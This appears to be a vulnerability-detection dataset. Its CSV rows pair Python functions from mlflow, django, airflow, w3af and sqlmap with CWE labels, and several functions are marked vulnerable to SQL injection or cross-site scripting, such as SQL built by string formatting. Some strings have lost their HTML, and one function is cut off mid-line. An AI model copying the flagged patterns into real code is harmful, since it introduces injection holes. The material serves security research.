functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/data/uc_volume_dataset_source.py,0,"def _resolve(cls, raw_source: str):
raise NotImplementedError",,mlflow/mlflow,8727237cab7d2f2605742d96bfeb09e751069c7e,"def _resolve(cls, raw_source: str):
raise NotImplementedError"
,UNKNOWN,UNKNOWN,mlflow/store/tracking/sqlalchemy_store.py,1,"def _create_default_experiment(self, session):
""""""
MLflow UI and client code expects a default experiment with ID 0.
This method uses SQL insert statement to create the default experiment as a hack, since
experiment table uses 'experiment_id' column is a PK and is also set to auto increment.
MySQL and other implementation do not allow value '0' for such cases.
ToDo: Identify a less hacky mechanism to create default experiment 0
""""""
table = SqlExperiment.__tablename__
creation_time = get_current_time_millis()
default_experiment = {
SqlExperiment.experiment_id.name: int(SqlAlchemyStore.DEFAULT_EXPERIMENT_ID),
SqlExperiment.name.name: Experiment.DEFAULT_EXPERIMENT_NAME,
SqlExperiment.artifact_location.name: str(self._get_artifact_location(0)),
SqlExperiment.lifecycle_stage.name: LifecycleStage.ACTIVE,
SqlExperiment.creation_time.name: creation_time,
SqlExperiment.last_update_time.name: creation_time,
}
def decorate(s):
if is_string_type(s):
return ""'{}'"".format(s)
else:
return ""{}"".format(s)
# Get a list of keys to ensure we have a deterministic ordering
columns = list(default_experiment.keys())
values = "", "".join([decorate(default_experiment.get(c)) for c in columns])
try:
self._set_zero_value_insertion_for_autoincrement_column(session)
session.execute(
""INSERT INTO {} ({}) VALUES ({});"".format(table, "", "".join(columns), values)
)
finally:
self._unset_zero_value_insertion_for_autoincrement_column(session)",CWE-89,mlflow/mlflow,994d291e4cb6bfad93e8b6edfa2580aa82804abd,"def _create_default_experiment(self, session):
""""""
MLflow UI and client code expects a default experiment with ID 0.
This method uses SQL insert statement to create the default experiment as a hack, since
experiment table uses 'experiment_id' column is a PK and is also set to auto increment.
MySQL and other implementation do not allow value '0' for such cases.
ToDo: Identify a less hacky mechanism to create default experiment 0
""""""
table = SqlExperiment.__tablename__
default_experiment = {
SqlExperiment.experiment_id.name: int(SqlAlchemyStore.DEFAULT_EXPERIMENT_ID),
SqlExperiment.name.name: Experiment.DEFAULT_EXPERIMENT_NAME,
SqlExperiment.artifact_location.name: str(self._get_artifact_location(0)),
SqlExperiment.lifecycle_stage.name: LifecycleStage.ACTIVE,
}
def decorate(s):
if is_string_type(s):
return ""'{}'"".format(s)
else:
return ""{}"".format(s)
# Get a list of keys to ensure we have a deterministic ordering
columns = list(default_experiment.keys())
values = "", "".join([decorate(default_experiment.get(c)) for c in columns])
try:
self._set_zero_value_insertion_for_autoincrement_column(session)
session.execute(
""INSERT INTO {} ({}) VALUES ({});"".format(table, "", "".join(columns), values)
)
finally:
self._unset_zero_value_insertion_for_autoincrement_column(session)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/mangle/test_sed.py,0,"def test_request_headers(self):
headers = Headers([('content-type', 'text/html')])
request = HTTPRequest(self.url, headers=headers)
option_list = self.plugin.get_options()
option_list['expressions'].set_value('qh/html/xml/')
self.plugin.set_options(option_list)
mod_request = self.plugin.mangle_request(request)
value, _ = mod_request.get_headers().iget('content-type')
self.assertEqual(value, 'text/xml')",,andresriancho/w3af,80b74aab6c85d3238ded3c24e85c3f79dbd31d48,"def test_request_headers(self):
headers = Headers([('content-type', 'text/html')])
request = HTTPRequest(self.url, headers=headers)
option_list = self.plugin.get_options()
option_list['expressions'].set_value('qh/html/xml/')
self.plugin.set_options(option_list)
mod_request = self.plugin.mangle_request(request)
value, _ = mod_request.get_headers().iget('content-type')
self.assertEqual(value, 'text/xml')"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_table_description(self, cursor, table_name):
""Returns a description of the table, with the DB-API cursor.description interface.""
cursor.execute(""SELECT * FROM %s WHERE ROWNUM < 2"" % self.connection.ops.quote_name(table_name))
description = []
for desc in cursor.description:
name = force_text(desc[0]) # cx_Oracle always returns a 'str' on both Python 2 and 3
name = name % {} # cx_Oracle, for some reason, doubles percent signs.
description.append(FieldInfo(*(name.lower(),) + desc[1:]))
return description",CWE-89,django/django,b6ad9998e6436e81f7dfbf1961a147d00816fb1f,"def get_table_description(self, cursor, table_name):
""Returns a description of the table, with the DB-API cursor.description interface.""
cursor.execute(""SELECT * FROM %s WHERE ROWNUM < 2"" % self.connection.ops.quote_name(table_name))
description = []
for desc in cursor.description:
name = force_text(desc[0]) # cx_Oracle always returns a 'str' on both Python 2 and 3
description.append(FieldInfo(*(name.lower(),) + desc[1:]))
return description"
,UNKNOWN,UNKNOWN,django/contrib/admin/widgets.py,1,"def render(self, name, value, attrs=None):
if attrs is None:
attrs = {}
related_url = '../../../%s/%s/' % (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())
params = self.url_parameters()
if params:
url = '?' + '&'.join(['%s=%s' % (k, v) for k, v in params.items()])
else:
url = ''
if not attrs.has_key('class'):
attrs['class'] = 'vForeignKeyRawIdAdminField' # The JavaScript looks for this hook.
output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)]
# TODO: ""id_"" is hard-coded here. This should instead use the correct
# API to determine the ID dynamically.
output.append(' ' % \
(related_url, url, name))
output.append('' % (settings.ADMIN_MEDIA_PREFIX, _('Lookup')))
if value:
output.append(self.label_for_value(value))
return mark_safe(u''.join(output))",CWE-79,django/django,1bfed070c32173e69be6272b274506c1bd56d413,"def render(self, name, value, attrs=None):
if attrs is None:
attrs = {}
related_url = '../../../%s/%s/' % (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())
params = self.url_parameters()
if params:
url = '?' + '&'.join(['%s=%s' % (k, v) for k, v in params.items()])
else:
url = ''
if not attrs.has_key('class'):
attrs['class'] = 'vForeignKeyRawIdAdminField' # The JavaScript looks for this hook.
output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)]
# TODO: ""id_"" is hard-coded here. This should instead use the correct
# API to determine the ID dynamically.
output.append(' ' % \
(related_url, url, name))
output.append('' % (settings.ADMIN_MEDIA_PREFIX, _('Lookup')))
if value:
output.append(self.label_for_value(value))
return mark_safe(u''.join(output))"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/sensors/test_gcs.py,1,"def test_gcs_object_existence_sensor_return_value(self, mock_defer, mock_hook):
task = GCSObjectExistenceSensor(
task_id=""task-id"",
bucket=TEST_BUCKET,
object=TEST_OBJECT,
google_cloud_conn_id=TEST_GCP_CONN_ID,
deferrable=True,
)
mock_hook.return_value.list.return_value = True
return_value = task.execute(mock.MagicMock())
assert return_value",CWE-703,apache/airflow,5e38319f750f8443e29609a68ffbddaccdc3765c,"def test_gcs_object_existence_sensor_return_value(self, mock_defer, mock_hook):
task = GCSObjectExistenceSensor(
task_id=""task-id"",
bucket=TEST_BUCKET,
object=TEST_OBJECT,
google_cloud_conn_id=TEST_GCP_CONN_ID,
deferrable=True,
)
mock_hook.return_value.list.return_value = True
return_value = task.execute(mock.MagicMock())
assert return_value, True"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/forms_tests/widget_tests/test_select.py,0,"def test_choices_select_inner(self):
self.check_html(self.nested_widget, 'nestchoice', 'inner1', html=(
""""""""""""
))",CWE-Unknown,django/django,676bd084f2509f4201561d5c77ed4ecbd157bfa0,"def test_choices_select_inner(self):
self.check_html(self.nested_widget, 'nestchoice', 'inner1', html=(
""""""""""""
))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/auth/autocomplete_js.py,0,"def _find_form_submit_strategy(self, chrome, form):
""""""
The second challenge with sites which rely heavily on javascript is that
there might NOT be an with type ""submit"" which can be clicked
to submit the form.
This method attempts to solve that problem by testing different algorithms
to detect ""the login button"".
:param chrome: The chrome instance
:param form: The LoginForm identified by the previous steps
:return: True if we were able to submit the login form and the browser
obtained a valid session.
""""""
form_submitter = FormSubmitter(chrome,
form,
self.login_form_url,
self.username,
self.password,
self._debugging_id)
for form_submit_strategy in form_submitter.submit_form():
if not self.has_active_session(debugging_id=self._debugging_id):
# No need to set the state of the chrome browser back to the
# login page, that is performed inside the FormSubmitter
continue
msg = '%s is a valid form submit strategy for %s'
args = (form_submit_strategy.get_name(), form)
self._log_debug(msg % args)
return form_submit_strategy
msg = 'No form submit strategy was found to generate a valid session for form %s'
args = (form,)
self._log_debug(msg % args)
return None",,andresriancho/w3af,cafcc9f0218fa1a07dedff8c7f767ced3bf80189,"def _find_form_submit_strategy(self, chrome, form):
""""""
The second challenge with sites which rely heavily on javascript is that
there might NOT be an with type ""submit"" which can be clicked
to submit the form.
This method attempts to solve that problem by testing different algorithms
to detect ""the login button"".
:param chrome: The chrome instance
:param form: The LoginForm identified by the previous steps
:return: True if we were able to submit the login form and the browser
obtained a valid session.
""""""
form_submitter = FormSubmitter(chrome,
form,
self.login_form_url,
self.username,
self.password,
self._debugging_id)
for form_submit_strategy in form_submitter.submit_form():
if not self.has_active_session(debugging_id=self._debugging_id):
# No need to set the state of the chrome browser back to the
# login page, that is performed inside the FormSubmitter
continue
msg = '%s is a valid form submit strategy for %s'
args = (form_submit_strategy.get_name(), form)
self._log_debug(msg % args)
return form_submit_strategy
# No form submit strategy was found to generate a valid session
return None"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
""""""
Main function of sqlmap when running from command line.
""""""
try:
dirtyPatches()
resolveCrossReferences()
checkEnvironment()
setPaths(modulePath())
banner()
# Store original command line options for possible later restoration
args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, ""__dict__"") else args)
initOptions(cmdLineOptions)
if checkPipedInput():
conf.batch = True
if conf.get(""api""):
# heavy imports
from lib.utils.api import StdDbOut
from lib.utils.api import setRestAPILog
# Overwrite system standard output and standard error to write
# to an IPC database
sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
setRestAPILog()
conf.showTime = True
dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)
init()
if not conf.updateAll:
# Postponed imports (faster start)
if conf.smokeTest:
from lib.core.testing import smokeTest
os._exitcode = 1 - (smokeTest() or 0)
elif conf.vulnTest:
from lib.core.testing import vulnTest
os._exitcode = 1 - (vulnTest() or 0)
else:
from lib.controller.controller import start
if conf.profile:
from lib.core.profiling import profile
globals()[""start""] = start
profile()
else:
try:
if conf.crawlDepth and conf.bulkFile:
targets = getFileItems(conf.bulkFile)
for i in xrange(len(targets)):
target = None
try:
kb.targets = OrderedSet()
target = targets[i]
if not re.search(r""(?i)\Ahttp[s]*://"", target):
target = ""http://%s"" % target
infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
logger.info(infoMsg)
crawl(target)
except Exception as ex:
if target and not isinstance(ex, SqlmapUserQuitException):
errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
logger.error(errMsg)
else:
raise
else:
if kb.targets:
start()
else:
start()
except Exception as ex:
os._exitcode = 1
if ""can't start new thread"" in getSafeExString(ex):
errMsg = ""unable to start new threads. Please check OS (u)limits""
logger.critical(errMsg)
raise SystemExit
else:
raise
except SqlmapUserQuitException:
if not conf.batch:
errMsg = ""user quit""
logger.error(errMsg)
except (SqlmapSilentQuitException, bdb.BdbQuit):
pass
except SqlmapShellQuitException:
cmdLineOptions.sqlmapShell = False
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
logger.critical(errMsg)
os._exitcode = 1
raise SystemExit
except KeyboardInterrupt:
print()
except EOFError:
print()
errMsg = ""exit""
logger.error(errMsg)
except SystemExit as ex:
os._exitcode = ex.code or 0
except:
print()
errMsg = unhandledExceptionMessage()
excMsg = traceback.format_exc()
valid = checkIntegrity()
os._exitcode = 255
if any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
errMsg = ""memory exhaustion detected""
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
errMsg = ""no space left on output device""
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""The paging file is too small"",)):
errMsg = ""no space left for paging file""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
errMsg = ""permission error occurred while running Metasploit""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""Permission denied"", ""metasploit"")):
errMsg = ""permission error occurred while using Metasploit""
logger.critical(errMsg)
raise SystemExit
elif ""Read-only file system"" in excMsg:
errMsg = ""output device is mounted as read-only""
logger.critical(errMsg)
raise SystemExit
elif ""Insufficient system resources"" in excMsg:
errMsg = ""resource exhaustion detected""
logger.critical(errMsg)
raise SystemExit
elif ""OperationalError: disk I/O error"" in excMsg:
errMsg = ""I/O error on output device""
logger.critical(errMsg)
raise SystemExit
elif ""Violation of BIDI"" in excMsg:
errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
logger.critical(errMsg)
raise SystemExit
elif ""Invalid IPv6 URL"" in excMsg:
errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
logger.critical(errMsg)
raise SystemExit
elif ""_mkstemp_inner"" in excMsg:
errMsg = ""there has been a problem while accessing temporary files""
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"", ""tempfile.py"")):
errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
errMsg += ""Please make sure that your disk is not full and ""
errMsg += ""that you have sufficient write permissions to ""
errMsg += ""create temporary files and/or directories""
logger.critical(errMsg)
raise SystemExit
elif ""Permission denied: '"" in excMsg:
match = re.search(r""Permission denied: '([^']*)"", excMsg)
errMsg = ""permission error occurred while accessing file '%s'"" % match.group(1)
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
errMsg += ""(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')""
logger.critical(errMsg)
raise SystemExit
elif ""invalid maximum character passed to PyUnicode_New"" in excMsg and re.search(r""\A3\.[34]"", sys.version) is not None:
errMsg = ""please upgrade the Python version (>= 3.5) ""
errMsg += ""(Reference: 'https://bugs.python.org/issue18183')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
errMsg += ""(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')""
logger.critical(errMsg)
raise SystemExit
elif ""must be pinned buffer, not bytearray"" in excMsg:
errMsg = ""error occurred at Python interpreter which ""
errMsg += ""is fixed in 2.7. Please update accordingly ""
errMsg += ""(Reference: 'https://bugs.python.org/issue8104')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""OSError: [Errno 22] Invalid argument: '"", ""importlib"")):
errMsg = ""unable to read file '%s'"" % extractRegexResult(r""OSError: \[Errno 22\] Invalid argument: '(?P[^']+)"", excMsg)
logger.critical(errMsg)
raise SystemExit
elif ""hash_randomization"" in excMsg:
errMsg = ""error occurred at Python interpreter which ""
errMsg += ""is fixed in 2.7.3. Please update accordingly ""
errMsg += ""(Reference: 'https://docs.python.org/2/library/sys.html')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""Resource temporarily unavailable"", ""os.fork()"", ""dictionaryAttack"")):
errMsg = ""there has been a problem while running the multiprocessing hash cracking. ""
errMsg += ""Please rerun with option '--threads=1'""
logger.critical(errMsg)
raise SystemExit
elif ""can't start new thread"" in excMsg:
errMsg = ""there has been a problem while creating new thread instance. ""
errMsg += ""Please make sure that you are not running too many processes""
if not IS_WIN:
errMsg += "" (or increase the 'ulimit -u' value)""
logger.critical(errMsg)
raise SystemExit
elif ""can't allocate read lock"" in excMsg:
errMsg = ""there has been a problem in regular socket operation ""
errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
errMsg = ""wrong initialization of 'pymsql' detected (using Python3 dependencies)""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""ntlm"", ""socket.error, err"", ""SyntaxError"")):
errMsg = ""wrong initialization of 'python-ntlm' detected (using Python2 syntax)""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""drda"", ""to_bytes"")):
errMsg = ""wrong initialization of 'drda' detected (using Python3 syntax)""
logger.critical(errMsg)
raise SystemExit
elif ""'WebSocket' object has no attribute 'status'"" in excMsg:
errMsg = ""wrong websocket library detected""
errMsg += "" (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""window = tkinter.Tk()"",)):
errMsg = ""there has been a problem in initialization of GUI interface ""
errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""unable to access item 'liveTest'"",)):
errMsg = ""detected usage of files from different versions of sqlmap""
logger.critical(errMsg)
raise SystemExit
elif kb.get(""dumpKeyboardInterrupt""):
raise SystemExit
elif any(_ in excMsg for _ in (""Broken pipe"",)):
raise SystemExit
elif valid is False:
errMsg = ""code integrity check failed (turning off automatic issue creation). ""
errMsg += ""You should retrieve the latest development version from official GitHub ""
errMsg += ""repository at '%s'"" % GIT_PAGE
logger.critical(errMsg)
print()
dataToStdout(excMsg)
raise SystemExit
elif any(_ in ""%s\n%s"" % (errMsg, excMsg) for _ in (""tamper/"", ""waf/"", ""--engagement-dojo"")):
logger.critical(errMsg)
print()
dataToStdout(excMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", "" LAST_UPDATE_NAGGING_DAYS:
warnMsg = ""your sqlmap version is outdated""
logger.warn(warnMsg)
if conf.get(""showTime""):
dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)
kb.threadException = True
if kb.get(""tempDir""):
for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
try:
os.remove(filepath)
except OSError:
pass
if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))): # ignore junk files
try:
shutil.rmtree(kb.tempDir, ignore_errors=True)
except OSError:
pass
if conf.get(""hashDB""):
conf.hashDB.flush(True)
conf.hashDB.close() # NOTE: because of PyPy
if conf.get(""harFile""):
try:
with openFile(conf.harFile, ""w+b"") as f:
json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
logger.critical(errMsg)
if conf.get(""api""):
conf.databaseCursor.disconnect()
if conf.get(""dumper""):
conf.dumper.flush()
# short delay for thread finalization
_ = time.time()
while threading.active_count() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
time.sleep(0.01)
if cmdLineOptions.get(""sqlmapShell""):
cmdLineOptions.clear()
conf.clear()
kb.clear()
conf.disableBanner = True
main()",,sqlmapproject/sqlmap,e8e7d66356aaa8904956e8a214b6256548b8dc54,"def main():
""""""
Main function of sqlmap when running from command line.
""""""
try:
dirtyPatches()
resolveCrossReferences()
checkEnvironment()
setPaths(modulePath())
banner()
# Store original command line options for possible later restoration
args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, ""__dict__"") else args)
initOptions(cmdLineOptions)
if checkPipedInput():
conf.batch = True
if conf.get(""api""):
# heavy imports
from lib.utils.api import StdDbOut
from lib.utils.api import setRestAPILog
# Overwrite system standard output and standard error to write
# to an IPC database
sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
setRestAPILog()
conf.showTime = True
dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
dataToStdout(""[*] starting @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)
init()
if not conf.updateAll:
# Postponed imports (faster start)
if conf.smokeTest:
from lib.core.testing import smokeTest
os._exitcode = 1 - (smokeTest() or 0)
elif conf.vulnTest:
from lib.core.testing import vulnTest
os._exitcode = 1 - (vulnTest() or 0)
else:
from lib.controller.controller import start
if conf.profile:
from lib.core.profiling import profile
globals()[""start""] = start
profile()
else:
try:
if conf.crawlDepth and conf.bulkFile:
targets = getFileItems(conf.bulkFile)
for i in xrange(len(targets)):
target = None
try:
kb.targets = OrderedSet()
target = targets[i]
if not re.search(r""(?i)\Ahttp[s]*://"", target):
target = ""http://%s"" % target
infoMsg = ""starting crawler for target URL '%s' (%d/%d)"" % (target, i + 1, len(targets))
logger.info(infoMsg)
crawl(target)
except Exception as ex:
if target and not isinstance(ex, SqlmapUserQuitException):
errMsg = ""problem occurred while crawling '%s' ('%s')"" % (target, getSafeExString(ex))
logger.error(errMsg)
else:
raise
else:
if kb.targets:
start()
else:
start()
except Exception as ex:
os._exitcode = 1
if ""can't start new thread"" in getSafeExString(ex):
errMsg = ""unable to start new threads. Please check OS (u)limits""
logger.critical(errMsg)
raise SystemExit
else:
raise
except SqlmapUserQuitException:
if not conf.batch:
errMsg = ""user quit""
logger.error(errMsg)
except (SqlmapSilentQuitException, bdb.BdbQuit):
pass
except SqlmapShellQuitException:
cmdLineOptions.sqlmapShell = False
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
logger.critical(errMsg)
os._exitcode = 1
raise SystemExit
except KeyboardInterrupt:
print()
except EOFError:
print()
errMsg = ""exit""
logger.error(errMsg)
except SystemExit as ex:
os._exitcode = ex.code or 0
except:
print()
errMsg = unhandledExceptionMessage()
excMsg = traceback.format_exc()
valid = checkIntegrity()
os._exitcode = 255
if any(_ in excMsg for _ in (""MemoryError"", ""Cannot allocate memory"")):
errMsg = ""memory exhaustion detected""
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"", ""Disk full while accessing"")):
errMsg = ""no space left on output device""
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""The paging file is too small"",)):
errMsg = ""no space left for paging file""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""Access is denied"", ""subprocess"", ""metasploit"")):
errMsg = ""permission error occurred while running Metasploit""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""Permission denied"", ""metasploit"")):
errMsg = ""permission error occurred while using Metasploit""
logger.critical(errMsg)
raise SystemExit
elif ""Read-only file system"" in excMsg:
errMsg = ""output device is mounted as read-only""
logger.critical(errMsg)
raise SystemExit
elif ""Insufficient system resources"" in excMsg:
errMsg = ""resource exhaustion detected""
logger.critical(errMsg)
raise SystemExit
elif ""OperationalError: disk I/O error"" in excMsg:
errMsg = ""I/O error on output device""
logger.critical(errMsg)
raise SystemExit
elif ""Violation of BIDI"" in excMsg:
errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
logger.critical(errMsg)
raise SystemExit
elif ""Invalid IPv6 URL"" in excMsg:
errMsg = ""invalid URL ('%s')"" % excMsg.strip().split('\n')[-1]
logger.critical(errMsg)
raise SystemExit
elif ""_mkstemp_inner"" in excMsg:
errMsg = ""there has been a problem while accessing temporary files""
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""tempfile.mkdtemp"", ""tempfile.mkstemp"", ""tempfile.py"")):
errMsg = ""unable to write to the temporary directory '%s'. "" % tempfile.gettempdir()
errMsg += ""Please make sure that your disk is not full and ""
errMsg += ""that you have sufficient write permissions to ""
errMsg += ""create temporary files and/or directories""
logger.critical(errMsg)
raise SystemExit
elif ""Permission denied: '"" in excMsg:
match = re.search(r""Permission denied: '([^']*)"", excMsg)
errMsg = ""permission error occurred while accessing file '%s'"" % match.group(1)
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
errMsg += ""(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')""
logger.critical(errMsg)
raise SystemExit
elif ""invalid maximum character passed to PyUnicode_New"" in excMsg and re.search(r""\A3\.[34]"", sys.version) is not None:
errMsg = ""please upgrade the Python version (>= 3.5) ""
errMsg += ""(Reference: 'https://bugs.python.org/issue18183')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
errMsg += ""(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')""
logger.critical(errMsg)
raise SystemExit
elif ""must be pinned buffer, not bytearray"" in excMsg:
errMsg = ""error occurred at Python interpreter which ""
errMsg += ""is fixed in 2.7. Please update accordingly ""
errMsg += ""(Reference: 'https://bugs.python.org/issue8104')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""OSError: [Errno 22] Invalid argument: '"", ""importlib"")):
errMsg = ""unable to read file '%s'"" % extractRegexResult(r""OSError: \[Errno 22\] Invalid argument: '(?P[^']+)"", excMsg)
logger.critical(errMsg)
raise SystemExit
elif ""hash_randomization"" in excMsg:
errMsg = ""error occurred at Python interpreter which ""
errMsg += ""is fixed in 2.7.3. Please update accordingly ""
errMsg += ""(Reference: 'https://docs.python.org/2/library/sys.html')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""Resource temporarily unavailable"", ""os.fork()"", ""dictionaryAttack"")):
errMsg = ""there has been a problem while running the multiprocessing hash cracking. ""
errMsg += ""Please rerun with option '--threads=1'""
logger.critical(errMsg)
raise SystemExit
elif ""can't start new thread"" in excMsg:
errMsg = ""there has been a problem while creating new thread instance. ""
errMsg += ""Please make sure that you are not running too many processes""
if not IS_WIN:
errMsg += "" (or increase the 'ulimit -u' value)""
logger.critical(errMsg)
raise SystemExit
elif ""can't allocate read lock"" in excMsg:
errMsg = ""there has been a problem in regular socket operation ""
errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
errMsg = ""wrong initialization of 'pymsql' detected (using Python3 dependencies)""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""ntlm"", ""socket.error, err"", ""SyntaxError"")):
errMsg = ""wrong initialization of 'python-ntlm' detected (using Python2 syntax)""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""drda"", ""to_bytes"")):
errMsg = ""wrong initialization of 'drda' detected (using Python3 syntax)""
logger.critical(errMsg)
raise SystemExit
elif ""'WebSocket' object has no attribute 'status'"" in excMsg:
errMsg = ""wrong websocket library detected""
errMsg += "" (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')""
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""window = tkinter.Tk()"",)):
errMsg = ""there has been a problem in initialization of GUI interface ""
errMsg += ""('%s')"" % excMsg.strip().split('\n')[-1]
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""unable to access item 'liveTest'"",)):
errMsg = ""detected usage of files from different versions of sqlmap""
logger.critical(errMsg)
raise SystemExit
elif kb.get(""dumpKeyboardInterrupt""):
raise SystemExit
elif any(_ in excMsg for _ in (""Broken pipe"",)):
raise SystemExit
elif valid is False:
errMsg = ""code integrity check failed (turning off automatic issue creation). ""
errMsg += ""You should retrieve the latest development version from official GitHub ""
errMsg += ""repository at '%s'"" % GIT_PAGE
logger.critical(errMsg)
print()
dataToStdout(excMsg)
raise SystemExit
elif any(_ in ""%s\n%s"" % (errMsg, excMsg) for _ in (""tamper/"", ""waf/"", ""--engagement-dojo"")):
logger.critical(errMsg)
print()
dataToStdout(excMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""ImportError"", ""ModuleNotFoundError"", "" LAST_UPDATE_NAGGING_DAYS:
warnMsg = ""your sqlmap version is outdated""
logger.warn(warnMsg)
if conf.get(""showTime""):
dataToStdout(""\n[*] ending @ %s\n\n"" % time.strftime(""%X /%Y-%m-%d/""), forceOutput=True)
kb.threadException = True
if kb.get(""tempDir""):
for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
try:
os.remove(filepath)
except OSError:
pass
if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ("".lock"", "".exe"", "".so"", '_'))): # ignore junk files
try:
shutil.rmtree(kb.tempDir, ignore_errors=True)
except OSError:
pass
if conf.get(""hashDB""):
conf.hashDB.flush(True)
conf.hashDB.close() # NOTE: because of PyPy
if conf.get(""harFile""):
try:
with openFile(conf.harFile, ""w+b"") as f:
json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
except SqlmapBaseException as ex:
